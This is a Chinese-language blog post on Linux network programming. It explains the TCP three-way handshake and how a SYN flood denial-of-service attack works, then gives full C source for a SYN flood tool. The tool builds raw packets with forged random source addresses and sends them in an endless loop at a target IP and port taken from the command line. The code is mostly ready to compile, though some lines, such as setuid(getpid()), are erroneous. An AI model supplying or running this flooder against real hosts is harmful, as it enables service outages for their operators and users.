代码改变世界

Linux网络编程之DOS(拒绝式服务)实例

2012-11-22 14:42  Chung-shu  阅读(423)  评论(0)    收藏  举报

1. TCP协议

TCP 协议是一种可靠的连接,为了保证连接的可靠性,TCP 的连接要分为几个步骤。我们把这个连接过程称为"三次握手"。下面我们从一个实例来分析建立连接的过程。

第一步客户机向服务器发送一个 TCP 数据包,表示请求建立连接。为此,客户端将数据包的 SYN 位设置为 1,并且设置序列号 seq=1000(我们假设为 1000)。

第二步服务器收到了数据包,并从 SYN 位为 1 知道这是一个建立请求的连接。于是服务器也向客户端发送一个 TCP 数据包。因为是响应客户机的请求,于是服务器设置 ACK 为1,sak_seq=1001(1000+1),同时设置自己的序列号seq=2000(我们假设为 2000)。

第三步客户机收到了服务器的 TCP,并从 ACK 为 1 和 ack_seq=1001 知道是从服务器来的确认信息。于是客户机也向服务器发送确认信息。客户机设置ACK=1,和ack_seq=2001,seq=1001,发送给服务器.至此客户端完成连接。

最后一步服务器受到确认信息,也完成连接。

2. DOS(拒绝式服务)方式

客户机先进行第一个步骤。服务器收到后,进行第二个步骤。按照正常的 TCP 连接,客户机应该进行第三个步骤,不过攻击者实际上并不进行第三个步骤。因为客户端在进行第一个步骤的时候,修改了自己的 IP 地址,就是说将一个实际上不存在的 IP 填充在自己 IP 数据包的发送者的 IP 一栏,这样因为服务器发的 IP 地址没有人接收,所以服务端会收不到第三个步骤的确认信号,这样服务端会在那边一直等待,直到超时。当有大量的客户发出请求后,服务端会有大量等待,直到所有的资源被用光而不能再接收客户机的请求。这样当正常的用户向服务器发出请求时,由于没有了资源而不能成功连接。

 

3. 源代码

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <sys/socket.h>


#define LOCALPORT 8888

void send_tcp(int sockfd, struct sockaddr_in *addr);

int main(int argc, char *argv[])
{
    int sockfd;
    struct sockaddr_in addr;
    unsigned long s_addr;
    int portnumber;
    int on=1;
    
    if(argc!=3)
    {
        printf("ip address or portnumber error.\n");
        exit(1);
    }
    if((s_addr=inet_addr(argv[1]))==-1)
    {
        printf("ip address or portnumber error.\n");
        exit(1);
    }
    if((portnumber=atoi(argv[2]))<0)
    {
        printf("ip address or portnumber error.\n");
        exit(1);
    }

    /*客户程序开始建立sockfd描述符*/
    if((sockfd=socket(AF_INET, SOCK_RAW, IPPROTO_TCP))==-1)
    {
        printf("socket error: %s.\n", strerror(errno));
        exit(1);
    }
    /*客户程序填充服务端信息*/
    bzero(&addr, sizeof(addr));
    addr.sin_family=AF_INET;
    addr.sin_port=htons(portnumber);
    addr.sin_addr.s_addr=s_addr;

    /*设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写*/
    setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

    /*只有超级用户才可以使用原始套接字*/
    setuid(getpid());

    send_tcp(sockfd, &addr);

    return 0;
}

void send_tcp(int sockfd, struct sockaddr_in *addr)
{
    char buffer[100];             /*数据包缓冲区*/
    struct ip *ip;
    struct tcphdr *tcp;
    int len;
    
    len=sizeof(struct ip)+sizeof(struct tcphdr);
    
    bzero(buffer, 100);

    /*填充IP数据包的头部*/
    ip=(struct ip *)buffer;
    ip->ip_v=IPVERSION;
    ip->ip_hl=sizeof(struct ip)>>2;   /*IP数据包头部长度*/
    ip->ip_tos=0;
    ip->ip_len=htons(len);       /*IP数据包的长度*/
    ip->ip_id=0;
    ip->ip_off=0;
    ip->ip_ttl=MAXTTL;
    ip->ip_p=IPPROTO_TCP;
    ip->ip_sum=0;
    ip->ip_dst=addr->sin_addr;

    /*填充TCP数据包*/
    tcp=(struct tcphdr *)(buffer+sizeof(struct ip));
    tcp->source=htons(LOCALPORT);
    tcp->dest=addr->sin_port;
    tcp->seq=random();
    tcp->ack_seq=0;
    tcp->doff=5;
    tcp->syn=1;

    /*发送数据包*/
    while(1)
    {
        ip->ip_src.s_addr=random();
        sendto(sockfd, buffer, len, 0, addr, sizeof(struct sockaddr_in));
    }
}